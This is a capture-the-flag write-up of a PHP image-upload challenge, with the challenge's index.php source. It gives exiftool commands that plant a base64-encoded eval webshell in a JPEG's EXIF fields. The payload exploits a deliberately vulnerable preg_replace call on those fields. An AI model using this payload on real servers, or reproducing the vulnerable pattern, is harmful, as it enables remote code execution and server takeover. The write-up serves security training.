🖼️

Firebird CTF: Innocent Image Viewer(Web)

1st 🩸

Author: Nuttyshell ivan

Analyse

Observing the source code of index.php, I noticed that the file extension is strictly limited to jpg. The uploaded image's exif data is then processed, revealing a potential vulnerability:
$exif = exif_read_data($targetFile); preg_replace($exif['Make'],$exif['Model'],'');
 

Exploit

 
This is a typical scenario for creating a Webshell hidden in an image, often referred to as an ‘image horse’.
For reference on this technique, you can visit the Trustwave SpiderLabs blog post: Hiding Webshell Backdoor Code in Image Files.
 
To create such an ‘image horse’, the image is prepared and then uploaded while also using GET parameters for execution:
exiftool "-make=/.*/e" 1.jpg exiftool "-model=eval(base64_decode('aWYgKGlzc2V0KCRfR0VUWyIxIl0pKSB7ZXZhbCgkX0dFVFsiMSJdKTt9'));" 1.jpg
In this approach, the image's exif data is manipulated to include executable PHP code, which is then executed by the server when the image is processed, exploiting the vulnerability in the preg_replace function usage.
notion image
Here comes the flag~
 

Source Code (index.php)

<!DOCTYPE html> <html> <head> <title>Image EXIF Viewer</title> </head> <body> <?php $targetDir = "uploads/"; // Generate a random file name $randomFileName = uniqid() . '.' . 'jpg'; $targetFile = $targetDir . $randomFileName; $uploadOk = 1; // Check if form is submitted $isFormSubmitted = isset($_POST["submit"]); // Check if image file is a actual image or fake image if($isFormSubmitted) { $check = getimagesize($_FILES["image"]["tmp_name"]); if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = 0; } } // Check file size if ($isFormSubmitted && $_FILES["image"]["size"] > 500000) { echo "Sorry, your file is too large."; $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($isFormSubmitted && $uploadOk == 0) { echo "Sorry, your file was not uploaded."; // if everything is ok, try to upload file } else if ($isFormSubmitted) { if (move_uploaded_file($_FILES["image"]["tmp_name"], $targetFile)) { echo "The file ". basename($_FILES["image"]["name"]). " has been uploaded."; $exif = exif_read_data($targetFile); preg_replace($exif['Make'],$exif['Model'],''); if ($exif !== false) { echo "<h2>EXIF Data:</h2>"; echo "FileDateTime: " . (!empty($exif['FileDateTime']) ? $exif['FileDateTime'] : "N/A") . "<br>"; echo "FileSize: " . (!empty($exif['FileSize']) ? $exif['FileSize'] : "N/A") . "<br>"; echo "Camera Model: " . (!empty($exif['Model']) ? $exif['Model'] : "N/A") . "<br>"; echo "Height: " . (!empty($exif['Height']) ? $exif['Height'] : "N/A") . "<br>"; echo "Width: " . (!empty($exif['Width']) ? $exif['Width'] : "N/A") . "<br>"; echo "Comment: " . (!empty($exif['Comment']) ? $exif['Comment'] : "N/A") . "<br>"; echo "Bits Per Sample: " . (!empty($exif['BitsPerSample']) ? $exif['BitsPerSample'] : "N/A") . "<br>"; echo "Exif Byte Order: " . (!empty($exif['ExifByteOrder']) ? $exif['ExifByteOrder'] : "N/A") . "<br>"; } else { echo "No EXIF data found."; } // Display the uploaded image echo "<h2>Uploaded Image:</h2>"; echo "<img src='$targetFile' alt='Uploaded Image'>"; // Display the link to the uploaded photo echo "<a href='$targetFile' target='_blank'>Click here to access the uploaded photo</a>"; } else { echo "Sorry, there was an error uploading your file."; } } ?> <!-- Very old app, but it works so Sam said don't touch it... ¯\_(ツ)_/¯ --> <h2>Upload an Image</h2> <form action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post" enctype="multipart/form-data"> <input type="file" name="image" id="image"> <input type="submit" value="Upload Image" name="submit"> </form> </body> </html>